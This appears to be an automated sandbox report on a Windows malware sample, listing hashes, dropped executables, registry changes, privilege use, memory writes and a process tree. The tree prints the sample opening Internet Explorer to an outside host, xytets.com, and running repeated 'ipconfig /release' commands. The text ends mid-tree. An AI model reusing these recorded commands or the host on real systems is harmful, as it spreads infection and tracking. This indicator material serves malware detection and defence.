364222e77908986e6d972acb3abbe291f971d97cd3a6c14708bb895678ad3098

Analysis

max time kernel
149s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/10/2026, 17:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe
Size 243KB
Sample261002-wj81vstepf
SHA256 364222e77908986e6d972acb3abbe291f971d97cd3a6c14708bb895678ad3098
MD5 27308cd63e18fdb3fb222abf6a0dd4ca
SHA1 e4b0853b3489493f0e669d14215617a7c5b39004
SHA512 88fdea599a00b12a5e1b91e407ca51b9aa1808998a17e6d376776bd6572fd6a900c38f9a896be9e253542f1f01b971cad26f16260c51b1a566e0698ef1e754c1
SSDEEP 3072:YhiA7nLtmcKJhr7yra3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7S:giA7nLtm/ka3lLNngoqRttA7S
TLSH
T16E345A0272818031EB560B78045AE7A196BE7C344BA5E5CFF7683B791E712D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
1660	CP.exe
4924	bvqoigaysq.exe
4340	CP.exe
4260	CP.exe
2492	i_bvqoigaysq.exe
2116	dyvqoigays.sys
4216	CP.exe
2432	lfdxvpnifa.exe
2248	CP.exe
4628	CP.exe
964	i_lfdxvpnifa.exe
4952	qkicaysqki.sys
3624	CP.exe
1936	fdxvpnhfax.exe
1924	CP.exe
4352	CP.exe
4960	i_fdxvpnhfax.exe
4320	pnhfzxspki.sys
4732	CP.exe
3044	fcxvpnhfzx.exe
2984	CP.exe
4872	CP.exe
3852	i_fcxvpnhfzx.exe
2236	xrmkecwupm.sys
1804	CP.exe
2220	mhfzxrpjhc.exe
4648	CP.exe
1108	CP.exe
4508	i_mhfzxrpjhc.exe
5096	mhbzurmkec.sys
2360	CP.exe
3092	omgezwrpjh.exe
4624	CP.exe
3840	CP.exe
3936	i_omgezwrpjh.exe
2416	ojhbztrlje.sys
2312	CP.exe
4016	etolgeywqo.exe
4196	CP.exe
3744	CP.exe
3880	i_etolgeywqo.exe
4796	ywqojgbztr.sys
4280	CP.exe
2168	rljdbvtolg.exe
4512	CP.exe
4484	CP.exe
4000	i_rljdbvtolg.exe
1752	nlfdyvqoig.sys
3696	CP.exe
1996	gdywqoigay.exe
4988	CP.exe
1748	CP.exe
4772	i_gdywqoigay.exe
3052	qoiysqkida.sys
4920	CP.exe
3192	avsnlfdxvq.exe
2172	CP.exe
4956	CP.exe
4020	i_avsnlfdxvq.exe
4360	icavsnlfdx.sys
1960	CP.exe
1300	xnifaysqki.exe
3224	CP.exe
772	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gdywqoigay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rljdbwtolg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kfdxvpnhfa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kicausnkfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lfdxvpnifa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omgezwrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_etolgeywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wrljdbwtom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_igaytqljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rljdbvtolg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pkicausnkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rljdbwtolg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fdxvpnhfax.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	avsnlfdxvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xnifaysqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lfdxvpnifa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fdxvpnhfax.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fcxvpnhfzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gdywqoigay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kfdxvpnhfa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mhfzxrpjhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mkecwuomhe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igaytqljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bvqoigaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	etolgeywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xnifaysqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxrpjhczus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxrpjhczus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkecwuomhe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wrljdbwtom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vqlidavtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pkicausnkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mhfzxrpjhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omgezwrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rljdbvtolg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_avsnlfdxvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vqlidavtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bvqoigaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fcxvpnhfzx.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2084	ipconfig.exe
3992	ipconfig.exe
2348	ipconfig.exe
4996	ipconfig.exe
816	ipconfig.exe
696	ipconfig.exe
4344	ipconfig.exe
2112	ipconfig.exe
3368	ipconfig.exe
2172	ipconfig.exe
3104	ipconfig.exe
3968	ipconfig.exe
2880	ipconfig.exe
4524	ipconfig.exe
1864	ipconfig.exe
5052	ipconfig.exe
3840	ipconfig.exe
2132	ipconfig.exe
400	ipconfig.exe
4492	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 35 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "497728870"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 00b11111a052dd01	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000592c972055b30f42897d4dd4c712190b0000000002000000000010660000000100002000000044eb67a9d05781107e3500887a515c88e4e969f12300f54a08c883d48a50a727000000000e8000000002000020000000b64e66e481ab28015afe9ebe84875c154bfa6ffdbc11eedd7ceccdc342704d00200000000e035a6e5b0b712c489686d9e66c9127e7cfaa5a6f5bb6a33067210d7200098c400000001c19cadc19f9864436d267d7ab239f7fc855045c509fb7d77ce14eaf0d60e2667a38838825d696bed0bb1a440bac440adbe6fd4ba34ad632e06a270f7c43c7dc	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000592c972055b30f42897d4dd4c712190b000000000200000000001066000000010000200000004fada77d41796e2039aaf612f94092dd5c5e321beb4ed7ba42adb08187cd47b2000000000e80000000020000200000005989c34d2ce00f45f36fc7d47c25776c08122187a5bb84deb1bfc9ef5c69993b20000000fdf4ca890df7f992cdf395bc6207f0badb5a968e07c234f96691e1e8a4adf9de400000002e02870b1ae7cb7eec33bc34696d5bf178ea3b21452acebf4d1d550de66d5b6a1ea403e50a4b3cc2351e49309919637d974b1169b55f3dfb38462aaddbf0a809	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31281815"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31281815"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2885148755"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{D76569A6-BE8A-11F1-9982-C6B1AE79E33D} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2889836227"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = f0dc1811a052dd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	2492	i_bvqoigaysq.exe
Token: SeDebugPrivilege	964	i_lfdxvpnifa.exe
Token: SeDebugPrivilege	4960	i_fdxvpnhfax.exe
Token: SeDebugPrivilege	3852	i_fcxvpnhfzx.exe
Token: SeDebugPrivilege	4508	i_mhfzxrpjhc.exe
Token: SeDebugPrivilege	3936	i_omgezwrpjh.exe
Token: SeDebugPrivilege	3880	i_etolgeywqo.exe
Token: SeDebugPrivilege	4000	i_rljdbvtolg.exe
Token: SeDebugPrivilege	4772	i_gdywqoigay.exe
Token: SeDebugPrivilege	4020	i_avsnlfdxvq.exe
Token: SeDebugPrivilege	4888	i_xnifaysqki.exe
Token: SeDebugPrivilege	4032	i_pkicausnkf.exe
Token: SeDebugPrivilege	4996	i_zxrpjhczus.exe
Token: SeDebugPrivilege	4836	i_mkecwuomhe.exe
Token: SeDebugPrivilege	2832	i_wrljdbwtom.exe
Token: SeDebugPrivilege	3460	i_rljdbwtolg.exe
Token: SeDebugPrivilege	1220	i_igaytqljdb.exe
Token: SeDebugPrivilege	1440	i_vqlidavtnl.exe
Token: SeDebugPrivilege	1600	i_kfdxvpnhfa.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2124	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
2124	iexplore.exe
2124	iexplore.exe
5068	IEXPLORE.EXE
5068	IEXPLORE.EXE
5068	IEXPLORE.EXE
5068	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 61 IoCs

description	pid	Process	procid_target
PID 1872 wrote to memory of 2124	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	85
PID 2124 wrote to memory of 5068	2124	iexplore.exe	86
PID 1872 wrote to memory of 1660	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	92
PID 4924 wrote to memory of 4340	4924	bvqoigaysq.exe	96
PID 1872 wrote to memory of 4260	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	101
PID 1872 wrote to memory of 4216	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	109
PID 2432 wrote to memory of 2248	2432	lfdxvpnifa.exe	111
PID 1872 wrote to memory of 4628	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	114
PID 1872 wrote to memory of 3624	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	118
PID 1936 wrote to memory of 1924	1936	fdxvpnhfax.exe	120
PID 1872 wrote to memory of 4352	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	123
PID 1872 wrote to memory of 4732	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	127
PID 3044 wrote to memory of 2984	3044	fcxvpnhfzx.exe	129
PID 1872 wrote to memory of 4872	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	132
PID 1872 wrote to memory of 1804	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	139
PID 2220 wrote to memory of 4648	2220	mhfzxrpjhc.exe	141
PID 1872 wrote to memory of 1108	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	144
PID 1872 wrote to memory of 2360	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	156
PID 3092 wrote to memory of 4624	3092	omgezwrpjh.exe	158
PID 1872 wrote to memory of 3840	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	161
PID 1872 wrote to memory of 2312	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	165
PID 4016 wrote to memory of 4196	4016	etolgeywqo.exe	167
PID 1872 wrote to memory of 3744	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	170
PID 1872 wrote to memory of 4280	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	174
PID 2168 wrote to memory of 4512	2168	rljdbvtolg.exe	176
PID 1872 wrote to memory of 4484	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	179
PID 1872 wrote to memory of 3696	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	183
PID 1996 wrote to memory of 4988	1996	gdywqoigay.exe	185
PID 1872 wrote to memory of 1748	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	188
PID 1872 wrote to memory of 4920	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	192
PID 3192 wrote to memory of 2172	3192	avsnlfdxvq.exe	194
PID 1872 wrote to memory of 4956	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	197
PID 1872 wrote to memory of 1960	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	203
PID 1300 wrote to memory of 3224	1300	xnifaysqki.exe	205
PID 1872 wrote to memory of 772	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	208
PID 1872 wrote to memory of 2416	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	212
PID 2788 wrote to memory of 3276	2788	pkicausnkf.exe	214
PID 1872 wrote to memory of 1864	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	217
PID 1872 wrote to memory of 3176	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	221
PID 4900 wrote to memory of 3508	4900	zxrpjhczus.exe	223
PID 1872 wrote to memory of 4520	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	226
PID 1872 wrote to memory of 1460	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	230
PID 4940 wrote to memory of 1572	4940	mkecwuomhe.exe	232
PID 1872 wrote to memory of 452	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	235
PID 1872 wrote to memory of 4400	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	240
PID 2236 wrote to memory of 2084	2236	wrljdbwtom.exe	242
PID 1872 wrote to memory of 2016	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	245
PID 1872 wrote to memory of 4152	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	247
PID 3052 wrote to memory of 1160	3052	rljdbwtolg.exe	249
PID 1872 wrote to memory of 2948	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	252
PID 1872 wrote to memory of 3880	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	256
PID 3280 wrote to memory of 2444	3280	igaytqljdb.exe	258
PID 1872 wrote to memory of 1696	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	261
PID 1872 wrote to memory of 1008	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	265
PID 3516 wrote to memory of 3488	3516	vqlidavtnl.exe	267
PID 1872 wrote to memory of 3544	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	270
PID 1872 wrote to memory of 2348	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	274
PID 4252 wrote to memory of 2480	4252	kfdxvpnhfa.exe	276
PID 1872 wrote to memory of 1552	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	279
PID 1872 wrote to memory of 3788	1872	2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe	283
PID 2608 wrote to memory of 4776	2608	kicausnkfd.exe	285

C:\Users\Admin\AppData\Local\Temp\2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-01_27308cd63e18fdb3fb222abf6a0dd4ca_elex_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1872
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2124
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2124 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:5068
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\bvqoigaysq.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1660
- - C:\Temp\bvqoigaysq.exe
    C:\Temp\bvqoigaysq.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4924
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4340
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1864
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_bvqoigaysq.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4260
- - C:\Temp\i_bvqoigaysq.exe
    C:\Temp\i_bvqoigaysq.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2492
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\lfdxvpnifa.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4216
- - C:\Temp\lfdxvpnifa.exe
    C:\Temp\lfdxvpnifa.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2432
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2248
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5052
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_lfdxvpnifa.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4628
- - C:\Temp\i_lfdxvpnifa.exe
    C:\Temp\i_lfdxvpnifa.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:964
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\fdxvpnhfax.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3624
- - C:\Temp\fdxvpnhfax.exe
    C:\Temp\fdxvpnhfax.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1936
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1924
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3840
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_fdxvpnhfax.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4352
- - C:\Temp\i_fdxvpnhfax.exe
    C:\Temp\i_fdxvpnhfax.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4960
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\fcxvpnhfzx.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4732
- - C:\Temp\fcxvpnhfzx.exe
    C:\Temp\fcxvpnhfzx.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3044
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2984
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2172
- C:\temp\CP.exe
